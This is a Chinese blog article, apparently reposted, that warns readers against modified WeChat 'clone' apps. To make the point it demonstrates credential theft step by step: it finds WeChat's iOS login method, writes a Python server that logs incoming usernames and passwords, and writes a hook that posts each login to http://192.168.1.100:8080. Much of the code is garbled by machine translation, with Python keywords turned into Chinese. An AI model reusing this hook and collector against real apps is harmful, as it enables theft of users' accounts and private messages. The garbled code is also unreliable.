微信分身版怎样使用,微信分身版怎样使用
最近很多用户把第三方修改的微信分身版各种疯传,不少人都安装了不同功能的微信刷步分身版,不管是为了刷微信运动步数,一键转发,一键评论还是带有其它功能的微信分身版。
很显然很多人安装了这些分身版却不知道其中可能存在的风险,这些微信分身版无非就是通过加载命令动态库注入钩函数进行篡改,虽然你的手机没有越狱,但是安装了微信分身版后,你所用微信的所有信息都暴露在别人的面前了。包括获取你的微信账号密码,聊天记录等等,所有的信息,而且使用非官方的微信客户端还容易被腾讯检测封号。
下面【爱刷步】技术员就从如何获取微信账号密码并传到指定服务器做一个简单的分析,看完这个后,你安装的分身版微信很可能就已经收集你的微信账号和密码。
首先进入微信登录界面,查看视图控制器的继承关系:
[[[ui窗口键窗口]根视图控制器]_打印层次]
MMUINavigationController 018392800,状态:已出现,视图:UILayoutContainerView0x17f 33790
wcaccountloginlastserviewcontroller0x18b 52600,状态:已出现,视图:UIView0x192740d0
可以得到当前的视图控制器为wcaccountloginlastserviewcontroller,跟踪该类。然后点击登录按钮,可以看到调用onNext方法。使用国际开发协会进入里面分析,可以得知是WCAccountLoginControlLogic类来负责处理具体的登录逻辑。跟踪WCAccountLoginControlLogic可以发现登录的时候调用了
(void)onLastUserLoginUserName:(ns string *)name Pwd:(ns string *)Pwd { }
其中传的参数就是微信的账号和密码,现在演示一下如何拦截微信账号密码,并发送到指定服务器。
既然需要一个服务器来接受传输的数据,那么就使用大蟒的BaseHTTPRequestHandler来搭建一个简单的服务器。
#!/usr/bbdyx/env python
# -*-条件:utf-8 -*-从BaseHTTPServer导入BaseHTTPRequestHandler,HTTPServer
从urlparse导入urlparse,parse_qsDEFAULT_HOST=
默认端口=8080
类请求处理程序(BaseHTTPRequestHandler):
def do_GET(self):
params=parse _ QS(URL parse(self。路径)).查询)
self.send_response(200)
self.send_header(Content-type , text/html )
self.end_headers()
#获取账号密码
fread=open( ./pwd.log , r )
lines=fread。readlines();
#每隔2秒刷新一次
content= meta http-equiv= refresh content= 2
对于线中的线:
"内容=内容行"
#将消息发送到浏览器
self.wfile.write(内容)
returndef do_POST(self):
params=parse _ QS(URL parse(self。路径)).查询)
#保存账号密码
fwrite=open(./pwd.log , a )
fwrite。写入(用户名=% s/n % params[名称][0])
fwrite。写入( pwd=% s/n % params[ pwd ][0])
fwrite.close()
self.send_response(200)
self.end_headers()
返回
极好的运行服务器():
尝试:
服务器地址=(默认主机,默认端口)
server=HTTPServer(服务器地址,请求处理程序)
"打印“HTTP服务器在端口% s“%默认端口”上启动
server.serve_forever()
例外情况除外,错误:
"打印"错误:% s"%错误
除了键盘中断:
打印服务器中断,正在关闭.
服务器。插座。close()if _ _ name _ _= _ _ main _ _ :
运行服务器()
#!/usr/bbdyx/env python #-*-conding:utf-8-*-from base http server import BaseHTTPRequestHandler,http server from URL parse import URL parse,parse _ QS DEFAULT _ HOST= DEFAULT _ PORT=8080类请求处理程序(BaseHTTPRequestHandler):def do _ GET(self):params=parse _ QS(URL parse(self。路径).查询)自己。send _ response(200)自我。send _ header( Content-type , text/html)self.end_headers()#获取账号密码fread=open( ./pwd.log , r )lines=fread。readlines();#每隔2秒刷新一次content= meta http-equiv= refresh content= 2 for line in lines:content=content line
#将消息发送到浏览器自我。wfile。write(content)return def do _ POST(self):params=parse _ QS(URL parse(self。路径).查询)#保存账号密码fwrite=open(./pwd.log , a )fwrite。write( username=% s/n % params[ name ][0])fwrite。write( pwd=% s/n % params[ pwd ][0])fwrite。关闭()自我。send _ response(200)自我。end _ headers()return def run _ Server():try:Server _ address=(DEFAULT _ HOST,DEFAULT _ PORT)Server=HTTP Server(Server _ address,RequestHandler)print HTTP服务器在端口:% s % DEFAULT _上启动.服务器。插座。close()if _ _ name _ _= _ _ main _ _ :run _ server()
好了,一个简单的服务器搭建好了,发布用来接受从微信传过来的账号和密码信息并保存到本地文件,然后通过得到不断去请求刷新获取的账号密码。
编写扭拦截账号密码,并发送到刚刚搭建的服务器上:
% hook WCAccountLoginControlLogic-(void)onLastUserLoginUserName:(ns string *)name Pwd:(ns string *)Pwd {
% lognsmutableulrequest * request=[nsmutableulrequest带URL:[NSURL带字符串:[ns string带格式的字符串:@ http://192。168 .1 .100:8080?name=% @;pwd=%@ ,name,pwd]]];[请求setTimeoutInterval:30];[request sethttp方法:@ POST ];[nsurlconnectionsendasynchronous请求:请求队列:[NSOperationQueue主队列]
completionhandler:^(nsurlresponse *回应,
NSData *数据,
NSError *错误)
{
NSHTTPURLResponse * httpResponse=(NSHTTPURLResponse *)响应;
if(httpresponse。状态码==200){
NSLog(@ "发送密码成功!");
}
}];
} %结束
% hook WCAccountLoginControlLogic-(void)onLastUserLoginUserName:(ns string *)name Pwd:(ns string *)Pwd { % log;NSMutableURLRequest * request=[NSMutableURLRequest带URL:[NSURL带字符串:[ns string带格式的字符串:@ http://192。168 .1 .100:8080?name=% @;pwd=%@ ,name,pwd]]];[请求setTimeoutInterval:30];[request sethttp方法:@ POST ];[nsurlconnectionsendasynchronous请求:请求队列:[nsoperationqueue mainqueue]completionhandler:^(nsurlresponse *响应,nsdata *数据,nserror *错误){ nshttpurlresponse * http response=(nshttpurlresponse *)响应;if(httpresponse。状态代码==200){ NSLog(@ 发送密码成功!);} }];} %结束
重签名微信,生成一个在非越狱机器上运行的微信分身版,这个已经在上一篇文章中讲过。进入登录界面输入账号密码,每次输入账号密码就发把账号密码发送到我们搭建的服务器上面,然后在浏览器输入http://本地主机:8080/就能实时看到输入的账号密码是什么了。
上面只是一个简单的演示,当然实际的分身版不可能写的这么简单,一般都经过混淆和加密的,但是也就是说,一旦你安装了微信分身版,那么你微信上面所有的信息都可能被监控,导致隐私泄露。
从网上下了一个分身版的微信就在其中的dylib文件中发现了上传账号密码的代码
所以即使你的手机没有越狱,也不要去网上下载第三方修改的微信分身版,也不要去第三方渠道下载应用,因为很可能你在第三方渠道下载的应用就是被篡改过的。
转载于:https://博客。51 CTO。com/14037071/2314177